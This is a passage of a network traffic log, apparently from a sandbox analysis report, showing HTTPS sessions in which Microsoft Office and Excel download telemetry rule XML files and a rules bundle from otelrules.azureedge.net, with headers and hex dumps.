DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.11	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:50:17 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:17 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:50:17 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: 24f5f1c8-801e-008c-2d48-497130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T055017Z-r1cf579d778j4j5fhC1EWR3ge8000000014g000000000f8t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:50:17 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.11	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:50:17 UTC	192	OUT	GET /rules/rule703450v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:18 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:50:17 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6669CA7" x-ms-request-id: 755dc25f-d01e-008e-7004-48387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T055017Z-r1cf579d778lntp7hC1EWR9gg400000006ug000000007mfq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:50:18 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703450" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOfficeMobile" S="Medium" /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.11	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:50:18 UTC	192	OUT	GET /rules/rule700901v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:18 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:50:18 GMT Content-Type: text/xml Content-Length: 1408 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1038EF2" x-ms-request-id: 09209696-a01e-0021-6305-48814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T055018Z-r1cf579d7789trgthC1EWRkkfc0000000830000000006nz3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:50:18 UTC	1408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700901" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.11	49879	13.107.246.63	443	7544	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:50:18 UTC	219	OUT	GET /rules/excel.exe-Production-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:19 UTC	473	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:50:18 GMT Content-Type: text/plain Content-Length: 1113975 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Sun, 08 Dec 2024 17:57:40 GMT ETag: "0x8DD17B1CEE40B07" x-ms-request-id: 5ed87a59-c01e-0046-0bfe-492db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T055018Z-r1cf579d778dndrdhC1EWR4b2400000007300000000050pk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-12-09 05:50:19 UTC	15911	IN	Data Raw: 31 30 30 30 34 32 76 32 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 34 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 55 58 2e 44 65 73 6b 74 6f 70 2e 4f 66 66 69 63 65 54 68 65 6d 65 2e 41 70 70 2e 49 6e 69 74 22 20 41 54 54 3d 22 63 34 33 38 38 63 39 37 37 32 39 37 34 31 33 62 62 30 35 34 62 61 64 31 61 63 66 30 61 64 65 31 2d 63 63 35 38 65 35 33 65 2d 66 35 61 34 2d 34 66 33 37 2d 62 30 64 32 2d 39 61 38 30 37 39 65 33 34 34 32 30 2d 36 38 37 39 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 31 22 20 49 64 3d 22 63 6d 39 79 35 Data Ascii: 100042v2+<?xml version="1.0" encoding="utf-8"?><R Id="100042" V="2" DC="SM" EN="Office.UX.Desktop.OfficeTheme.App.Init" ATT="c4388c977297413bb054bad1acf0ade1-cc58e53e-f5a4-4f37-b0d2-9a8079e34420-6879" DCa="PSU" xmlns=""> <S> <UTS T="1" Id="cm9y5
2024-12-09 05:50:19 UTC	16384	IN	Data Raw: 24 21 23 3e 31 30 30 31 31 37 76 30 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 31 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 31 22 20 49 64 3d 22 38 79 6c 6c 66 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 56 20 56 3d 22 43 6c 69 63 6b 22 20 54 3d 22 57 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a Data Ascii: $!#>100117v0+<?xml version="1.0" encoding="utf-8"?><R Id="100117" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <UTS T="1" Id="8yllf" /> </S> <C T="W" I="0" O="false"> <V V="Click" T="W" /> </C> <C T="U32" I="1" O="false">
2024-12-09 05:50:19 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 33 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 37 38 31 76 31 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 37 38 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 31 22 20 49 64 3d 22 62 67 6f 34 74 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 68 6c 76 79 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 49 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a Data Ascii: <S T="2" /> <S T="3" /> </T></R><$!#>10781v1+<?xml version="1.0" encoding="utf-8"?><R Id="10781" V="1" DC="SM" T="Subrule" xmlns=""> <S> <UTS T="1" Id="bgo4t" /> <UTS T="2" Id="bhlvy" /> </S> <C T="I32" I="0" O="false">
2024-12-09 05:50:19 UTC	16384	IN	Data Raw: 20 20 20 20 3c 4f 20 54 3d 22 47 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 31 30 30 30 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 Data Ascii: <O T="GT"> <L> <S T="1" F="0" /> </L> <R> <V V="1000" T="U32" /> </R> </O> </L> <R> <O T="LE"> <L> <S
2024-12-09 05:50:19 UTC	16384	IN	Data Raw: 22 46 6c 79 6f 75 74 56 69 64 65 6f 43 61 6c 6c 56 69 64 65 6f 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 32 36 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 33 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 46 6c 79 6f 75 74 53 61 53 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 34 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 46 6c 79 6f 75 74 4f 76 65 72 66 6c 6f 77 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 32 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a Data Ascii: "FlyoutVideoCallVideo"> <C> <S T="26" /> </C> </C> <C T="U32" I="23" O="false" N="FlyoutSaS"> <C> <S T="27" /> </C> </C> <C T="U32" I="24" O="false" N="FlyoutOverflow"> <C> <S T="28" /> </C>
2024-12-09 05:50:19 UTC	16384	IN	Data Raw: 20 49 64 3d 22 31 30 39 30 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 4e 44 42 2e 55 6e 6b 6e 6f 77 6e 2e 43 6f 72 72 75 70 74 69 6f 6e 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 53 3d 22 31 30 30 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 45 74 77 20 54 3d 22 31 22 20 45 3d 22 33 39 35 22 20 47 3d 22 7b 32 61 64 66 38 65 32 33 2d 30 61 66 39 2d 34 33 63 39 2d 62 61 34 63 2d 39 35 32 65 65 31 33 30 35 34 Data Ascii: Id="10907" V="0" DC="SM" EN="Office.Outlook.Desktop.NDB.Unknown.Corruption" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" S="100" DCa="PSU" xmlns=""> <S> <Etw T="1" E="395" G="{2adf8e23-0af9-43c9-ba4c-952ee13054
2024-12-09 05:50:19 UTC	16384	IN	Data Raw: 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 33 22 20 49 64 3d 22 62 70 66 79 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 34 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 50 68 6f 74 6f 53 69 7a 65 49 6e 42 79 74 65 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 55 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 36 34 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 20 4e Data Ascii: /> <UTS T="3" Id="bpfy1" /> <F T="4"> <O T="GT"> <L> <S T="3" F="PhotoSizeInBytes" /> </L> <R> <V V="0" T="U64" /> </R> </O> </F> </S> <C T="U64" I="0" O="true" N
2024-12-09 05:50:19 UTC	16384	IN	Data Raw: 3d 22 34 22 20 46 3d 22 65 76 65 6e 74 49 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 31 33 35 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 74 63 69 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 37 38 35 32 22 20 54 3d 22 49 33 32 22 20 2f 3e Data Ascii: ="4" F="eventId" /> </L> <R> <V V="135" T="I32" /> </R> </O> </F> <F T="7"> <O T="EQ"> <L> <S T="5" F="tcid" /> </L> <R> <V V="27852" T="I32" />
2024-12-09 05:50:19 UTC	16384	IN	Data Raw: 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 46 69 6c 65 50 72 6f 74 65 63 74 69 6f 6e 53 74 61 74 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 35 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 4f 66 54 68 72 6f 77 6e 45 78 63 65 70 74 69 6f 6e 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 Data Ascii: <O T="EQ"> <L> <S T="3" F="FileProtectionState" /> </L> <R> <V V="5" T="U32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="CountOfThrownException"> <C> <S T
2024-12-09 05:50:19 UTC	16384	IN	Data Raw: 46 3d 22 72 65 73 75 6c 74 73 5f 49 73 4e 75 6c 6c 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: F="results_IsNull" /> </L> <R> <V V="false" T="B" /> </R> </O> </L> <R> <O T="EQ"> <L> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.11	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:50:19 UTC	192	OUT	GET /rules/rule700900v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:19 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:50:19 GMT Content-Type: text/xml Content-Length: 1371 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:06 GMT ETag: "0x8DC582BED3D048D" x-ms-request-id: 1dc1a106-201e-003f-0903-486d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T055019Z-r1cf579d778t6txphC1EWRsd4400000007x0000000006b97 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:50:19 UTC	1371	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6f 66 69 6e 67 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700900" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProofing" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.11	49881	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:50:19 UTC	192	OUT	GET /rules/rule702251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:19 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:50:19 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE0F427E7" x-ms-request-id: 1c466845-d01e-008e-6089-49387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T055019Z-r1cf579d778mpnwnhC1EWRfgng000000017g000000000nw8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-09 05:50:19 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 4c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 4c 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ML.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenML" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.11	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:50:19 UTC	192	OUT	GET /rules/rule702250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:19 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:50:19 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDD0A87E5" x-ms-request-id: 4677bedb-001e-008d-5303-48d91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T055019Z-r1cf579d778qlpkrhC1EWRpfc8000000088g000000001b4f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
